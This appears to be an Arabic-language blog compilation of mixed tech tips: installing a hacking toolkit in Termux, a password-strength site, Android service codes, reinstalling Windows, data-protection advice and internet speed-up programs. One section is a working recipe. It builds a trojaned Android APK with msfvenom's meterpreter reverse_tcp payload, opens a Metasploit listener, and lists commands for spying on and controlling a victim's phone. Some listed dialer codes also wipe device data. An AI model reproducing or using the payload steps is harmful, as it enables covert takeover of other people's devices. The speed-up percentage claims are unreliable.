اختبار الاختراق

السلام عليكم ورحمة الله
درس ثاني في اختبار الاختراق
شرح اليوم سوف يكون حول ادات فريدة من نوعها يحتاجها كل مبتدأ او محترف في مجال امن المعلومات فهي مختصة في اختبار حماية المواقع المصابة بثغرات sql injection بمختلف أنواعها
وهذا طبعا باستخدام اوامر و أدوات تساعد في كشف المعلومات حول المواقع
استغلال الثغرات
كشف الأرقام السرية و فك تشفيرها
اختبار اختراق الأجهزة الحاسوبية و اللوحية و الهواتف بمختلف أنواعها
وكثير من المميزات الرائعة التي سنكتشفها سويا من خلال تطبيق (termux)
انا غير مسئول عن أي سوء استعمال او فهم المحتوى
الأوامر لتحميل الأدات :
pkg update
pkg upgrade
pkg install git
git clone
اوامر تثبيت الأدات :
cd EasY_HaCk
chmod +x install.sh
./install.sh

فحص الباسويرد الخاص بك

اليوم أقدم لكم موقع جدا رائع من خلالة يطلب منك أدخال الباسورد الخاص بك للقيام بفحصة ومن ثم يخبرك  ما مدئ قدرة الهاكر للوصول لحساباتك عبر التخمين وكم هي المدة الزمنية  التي يستطيع منها الهاكر للوصول على حساباتك.
رابط الموقع : https://howsecureismypassword.net

بعض الكودات للهواتف

بعض الكودات للهواتف
1) إعادة الجهاز لضبط المصنع  * # * # 7780 # * # *
أحد الرموز الأكثر شهرة بين المستخدمين، وهذا خيار حذف كل ما هو في ذاكرة الجهاز،وارجاع  إعدادات المصنع الأصلي مرة أخرى. هذا الخيار يعمل بنفس الطريقة من خلال لوحة إعدادات النظام.

2) قائمة إعدادات الاختبار * # * # 4636 # * # *
يمكنك هذا الرمز الوصول إلى القائمة التي تسمح لك باكتشاف الكثير من التفاصيل حول هاتفك الذكي ، بما في ذلك معلومات حول البطارية والشبكات المستخدمة. أيضا، يمكن أن الوصول لإحصائيات الاستخدام بشكل  مفصل للغاية.

3) شكل الهاتف الذكي * 2767 * 3855 #
يعمل هذا الأمر بشكل مختلف عن خيار العودة إلى إعدادات المصنع. في هذه الحالة، سيتم مسح التطبيقات والبيانات الشخصية فقط دون الحاجة إلى إعادة تعيين إعدادات النظام !

4) الحصول على معلومات مفصلة عن الكاميرا  * # * # 34971539 # * # *

5) وضع اختبار الخدمة  * 197 328 640 # * # * # * #
يمكنك اختبار مكونات هاتفك من الكاميرا إلى التسارع في جهازك. هذا الرمز مفيد جدا وبشكل خاص لمعرفة ما إذا كان هناك أي خلل في تشغيل أحد مكونات الهاتف .

6) إنشاء نسخة احتياطية سريعة   * # * # * 273 283 255 * 663 282 * # * # *
7) اختبار شاشة LCD ء * # * # 0 * # * # *
8) الحصول على تفاصيل من ذاكرة الوصول العشوائي  * # * # 3264 # * # *
9) لمعرفة نسخة الشاشات التي تعمل باللمس  * # * # 2663 # * # *
10) اختبار الخلفية والاهتزاز  * # * # 0842 # * # *
11) اختبار أجهزة الاستشعار النظام  * # * # 0588 # * # *
12) اختبار الشاشة التي تعمل باللمس  * # * # 2664 # * # *
13) قائمة معلومات الجهاز السرية  * # * # 4986 # * # * 2650468 *
14)  نسخة نظام التشغيل المثبتة على الهاتف الذكي أو الكمبيوتر اللوحي * # * # * # * # 44336

15) اختبار الشبكة اللاسلكية  * # * # 232339 # * # * أو * # * # 528 # * # * أو * # * # 526 # * # *
16) اكتشاف عنوان MAC لشبكة واي فاي  * # * # * # * 232338 #
17) اختبار سريع GPS ء * # * # 1472365 # * # *
18) اختبار اتصال بلوتوث   * # * # * # * 232331 #
19) لمعرفة رمز جهاز بلوتوث ء * # * # * # * 232337 #
20) إيقاف الجهاز ء * # * # 7594 # * # *
21) اختبار لتحديد المواقع المختلفة ء # 1575 * # * # * # *
22) اختبار الصوت عبر الهاتف ء * # * # 0673 # * # * أو * # * # 0289 # *

عمل باليود ملغم بالميتاسبلويت

⚶ عمل باليود ملغم بالميتاسبلويت اولا عمل بايلود تطبيق apk ملغم msfvenom -p android/meterpreter/reverse_tcp LHOST=10.116.201.160 LPORT=4444 R > /sdcard/termux.apk ----------------------------------------------------------------- ثانيا امر فتح اداه MetaSploit ./msfconsole ----------------------------------------------------------------- ثالثا بعد الدخول علي اداه MetaSploit $ use exploit/multi/handler $ set payload android/meterpreter/reverse_tcp $ set lhost 10.118.171.194 $ set lport 4444 $ exploit $ help $ shell $ cd /sdcard $ ls ----------------------------------------------------------------- رابعا اوامر التحكم في الضحيه لأعادة تشغيل جهاز الضحية : reboot ------------------------------------------------------------ لاطفاء جهاز الضحية : shutdown ------------------------------------------------------------ لاضهار معلومات حول نضام الضحية مثل نضام تشغيل و لغة : sysinfo ------------------------------------------------------------ لألتقاط صورة من شاشة الضحية : screenshot ------------------------------------------------------------ لاضهار اتصلات الشبكة وجميع البرامج و الملفات المتصلة بالانترنت و مستهلكة للانترنت : netstat ------------------------------------------------------------ للدخول الي الملفات الداخليه و كتابة الاوامر كأنك في جهاز الضحية : shell ------------------------------------------------------------ لاقلاع اي برنامج علي جهاز الضحية بامر واحد منك : execute -f mc.apk طبعا غير mc الي اسم البرنامج الذي تريده ان يشتغل -

طريقة فورمات الكمبيوتر

طريقة فورمات الكمبيوتر يعتقد البعض أن فورمات جهاز الكمبيوتر هو عمل خاص بمهندسي الكمبيوتر أو محلات صيانة الكمبيوتر فقط، ولكن على العكس تماماً، يمكن أن يصبح فورمات الكمبيوتر أمراً سهلاً إن قرأت هذه المقالة بعناية وطبقت ما فيها جيداً. معنى الفورمات كلمة "فورمات" هي كلمة إنجليزية (Format) وتعني إعادة التصميم لغوياً، أمّا بلغة الكمبيوتر فهي تعني تهيئة القرص المطلوب لتثبيت نظام تشغيل جديد عليه، أي حذف نظام التشغيل القديم وما يحتويه من ملفات ليصبح القرص جاهزاً لاستقبال نظام تشغيل جديد، لذلك يجب الانتباه جيداً قبل عملية الفورمات للكمبيوتر أن أي معلومات على القرص C (قرص النظام) سيتمّ حذفها بالكامل (وهذا يشمل سطح المكتب والمستندات)، كذلك المعلومات الموجودة على الأقراص الأخرى مثل: (D, E) سيتمّ حذفها إذا كان نظام التشغيل الذي سيتمّ تثبيته يختلف عن النظام الذي سيتمّ حذفه، مثلاً تثبيت Windows 7 مكان Windows XP يؤدي لحذف كل شيء. لا تقتصر عملية الفرمتة على أجهزة الكمبيوتر فقط، بل تشمل: الفلاش درايف (USB Drive)، الهاردسك الخارجي، والهواتف المحمولة أيضاً. أساسيات عمل فورمات للكمبيوتر هناك أدوات أساسية لا بد من توافرها لتكون عملية الفورمات ممكنة، ولكن أهمها هي: نظام التشغيل، حيث يكون على CD/DVD أو فلاش درايف (USB) (في هذا المقال سنفترض أن النظام هو Windows 7)، ثمّ بعد ذلك يلزمنا تعريفات لقطع الكمبيوتر (Drivers) وهي تختلف من كمبيوتر لآخر، ويمكن أن تجدها على الإنترنت غالباً. خطوات فورمات الكمبيوتر نضع الـ CD/DVD في مكانه (أو الفلاش درايف) ونعيد تشغيل الكمبيوتر بعد ظهور عبارة "press any key to boot from cd or dvd" نضغط "Enter" أو أي مفتاح. ستظهر لنا شاشة تقول "windows is loading files" ننتظرها حتى تظهر الشاشة التي بعدها. نختار اللغة والمنطقة الزمنية ولغة الإدخال في الكيبورد ثمّ نضغظ "Next". نضغط على "Install Now" ثمّ نوافق على شروط الاستخدام بالضغط على المربع في أسفل الشاشة ثمّ نضغط "Next". نضغط على "Custom" من الشاشة الظاهرة أمامنا. نختار القرص الذي نريد عمل فورمات له (قرص النظام C) ونضغط كلمة "Format". ننتظر الآن حتى ينتهي الويندوز من التنصيب ويقوم بإعادة تشغيل الجهاز تلقائياً. بعد إعادة التشغيل ندخل اسم المستخدم ونضغط "Next". نستطيع أن نضع كلمة مرور الآن أو فيما بعد، وكذلك الأمر مع مفتاح التسجيل الخاص بالويندوز. نختار التحديثات التلقائية (أول خيار)، ثمّ نحدّد الوقت وشبكة الإنترنت. وأخيراً وصلنا إلى سطح المكتب، وهكذا نكون قد ثبّتنا نظام تشغيل جديد على الكمبيوتر بعد الفورمات أوّل أمر يجب التأكد منه بعد عملية الفورمات هو أن جميع قطع الكمبيوتر تعمل بشكل صحيح مع النظام الجديد وذلك من خلال الضغط بالزر الأيمن على جهاز الكمبيوتر واختيار إدارة "Manage"، ثمّ إدارة الأجهزة "Device Management"، ثمّ نتأكد أنه لا توجد أي مثلثات صفراء بجانب أي أداة، في حال وجود مثلث أصفر فهذا يعني أن هذه القطعة غير معرفة على الويندوز وبالتالي يجب أن تبحث لها عن تعريف على الانترنت أو من خلال CD التعريف الخاصّ بها إذا كنت تملكه. يحتوي نظام التشغيل ويندوزعلى برامج أساسية لا تكفي للمستخدم غالباً، منها متصفح الانترنت Internet Explorer وبرنامج الرسام، ولذلك لا بدّ من تثبيت البرامج اللازمة بعد عملية الفورمات ومن هذه البرامج: حزمة اوفيس (Office 2007,2010,2013). متصفحات للانترنت مثل: (Google Chrome, Mozilla Firefox). برنامج حماية من الفايروسات مثل: (Avast, AVG, KasperSky). برامج تحرير الصور مثل: (Photoshop). برامج فك الضغط مثل: (Winrar

مفهوم حماية البيانات

مفهوم حماية البيانات تُعرّف حماية البيانات (بالإنجليزية: Data protection) بأنّها عملية الحماية التي تنطوي على جمع البيانات وكيفية الإفصاح عنها، بالإضافة إلى ضرورة إدراك العامة والمستخدمين لأسس الخصوصية السياسية والقانونية الخاصة بتلك البيانات، وتهدف هذه العملية إلى تحقيق توازن بين حقوق الخصوصية الفردية مع القدرة على استخدام البيانات لأغراض تجارية، كما تعرف حماية البيانات باسم خصوصية البيانات أو خصوصية المعلومات.[١] قانون حماية البيانات يتحكم قانون حماية البيانات لعام 2018م بكيفية استخدام المعلومات الشخصية من قبل المؤسسات، أو الشركات، أو الحكومة، كما يعتبر هذا القانون تطبيق المملكة المتحدة للائحة العامة الخاصة بحماية البيانات واختصاره GDPR، كما يرتكز هذا القانون على ضرورة التزام المسؤولين بقواعد صارمة يطلق عليها "مبادئ حماية البيانات" عند استخدام البيانات الشخصية، كما يجب التأكد من استخدام البيانات بشكل قانوني، ولأغراض محددة وواضحة، وبطريقة ملائمة.[٢] طرق حماية البيانات استخدام كلمات مرور قوية يستخدم الأشخاص العديد من كلمات المرور من أجل حماية البيانات الشخصية الخاصة بهم، ولهذا يُنصح بضرورة استخدام برامج إدارة كلمات المرور من أجل الحفاظ على كلمات المرور الجديدة لجميع الحسابات، حيث يمكن باستخدام هذه البرامج إنشاء كلمات مرور قوية، وإدخال البيانات تلقائياً، والتذكير بتحديث كلمات المرور بشكل دوري، ومن النصائح التي يمكن اتباعها لحماية البيانات الخاصة بكلمات المرور ما يأتي:[٣] استخدام كلمات مرور طويلة تتكون من عشرين حرفاً أو أكثر. استخدام العديد من الأحرف ولا يجب استخدام كلمة المرور ذاتها لأكثر من موقع. لا يجب مشاركة كلمات المرور أو كتابتها. يجب تحديث كلمات المرور بشكل دوري أي مرة واحدة على الأقل كلّ ستة أشهر. استخدام برامج الحماية ضد الفيروسات يجب استخدام برامج مكافحة الفيروسات (بالإنجليزية: anti-virus protection) من أجل حماية البيانات وتثبيتها من مصادر معروفة وموثوق بها، كما يجب تحديث كافة تعريفات الفيروسات والمحركات من أجل التأكد من فعالية برامج مكافحة الفيروسات.[٣] استخدام جدار الحماية يمكن حماية البيانات من خلال استخدام جدار الحماية (بالإنجليزية: Firewalls) مثل جدار حماية ويندوز (بالإنجليزية: Windows)، والذي يمكن تشغيله من خلال النقر على "ابدأ" وتحديد "لوحة التحكم"، ثمّ اختيار "النظام والأمان"، ثمّ النقر على "التحقق من حالة جدار الحماية"، وفي حال تمّ إيقاف تشغيل جدار حماية ويندوز يجب إعادة تشغيله.[٤]

مضاعفة سرعة الأنترنت

مضاعفة سرعة النت
بالرغم من تعدّد الطرق والوسائل لجعل النت أسرع ممّا هو عليه، إلا أنّ أسهل وأسرع ما يمكّن اتباعه هو إجراء تعديلات على ما يسمى بـDNS servers والذي يمكن تشبيهه بدليل الهاتف الذي يعمل على توجيه المواقع الإلكترونية نحو الكمبيوترات التي تطلب الدخول إليها، وتعتمد سرعة الدخول على اختيار نوع DNS، وكلّ من إعدادات الإنترنت المضبوطة في الكمبيوتر، والمزوّد لخدمة الإنترنت (بالإنجليزية: router) تلعب دوراً في تحديد DNS، وتتوفّر العديد من البرامج التي تساعد على اختيار DNS السريع مثل GRC's DNS Benchmark الذي يناسب مستخدمي Windows, Linux، ولمعرفة كيفيّة استخدام ذلك البرنامج يمكن اتباع الخطوات الآتية:
[١] تنزيل البرنامج من متصفّح الإنترنت وتثبيته. تسجيل اسم DNS المعمول عليه حالياً عند الاستخدام الأول للبرنامج، والذي يمكن إيجاده من خلال الخطوات الآتية:
الذهاب إلى Start ثمّ Run وكتابة cmd بعدها الضغط على Enter، فمن خلال صفحة MS-DOS يُكتب ipconfig /all لتظهر قائمة طويلة من الأسماء والأرقام المتعلقة بـ DNS، لكن ما نبحث عنه من ضمن القائمة هو DNS Servers والذي منه نعرف الاسم والعنوان الخاص. يُكتب اسم DNS والضغط على Enter من داخل البرنامج وبعد دقائق قليلة ستفتح صفحة إنترنت جديدة تعرض مقترحات لأسماء DNS يمكن أن تزوّد خدمة إنترنت سريعة.
مفهوم الإنترنت
يمكن تعريف الإنترنت بأنّه شبكة الكمبيوتر العالمية التي تقدم العديد من تسهيلات التواصل وتبادل المعلومات مُستندةً على أصول وثوابت مُتفق عليها protocols في عملية الربط بين مختلف المواقع.
[٢] أفضل برامج لتسريع النت نسرد تالياً قائمة بأفضل البرامج التي يمكن تنزيلها لتسريع النت
[٣] Throttle: الذي يسرع النت 200%. FastNet99:
الذي يطوّر ويعدّل إعدادات DNS ممّا يسرّع من النت. BeFaster:
يحفّز سرعة النت. Internet Speed Up:
وظيفته فحص وتقييم سرعة النت. Modem Booster:
الذي يُسرع النت في المودم 300%. WorldWebAccess Accelerator
، يحارب العوامل التي تؤدي إلى أبطاء سرعة النت مثل:
pop-up ,spam. Internet Accelerator. TweakMASTER Pro. NetSpeeder: يحسّن إعدادات TCP/UDP. Google Web Accelerator، برنامج سهل التعامل ويسرّع النت.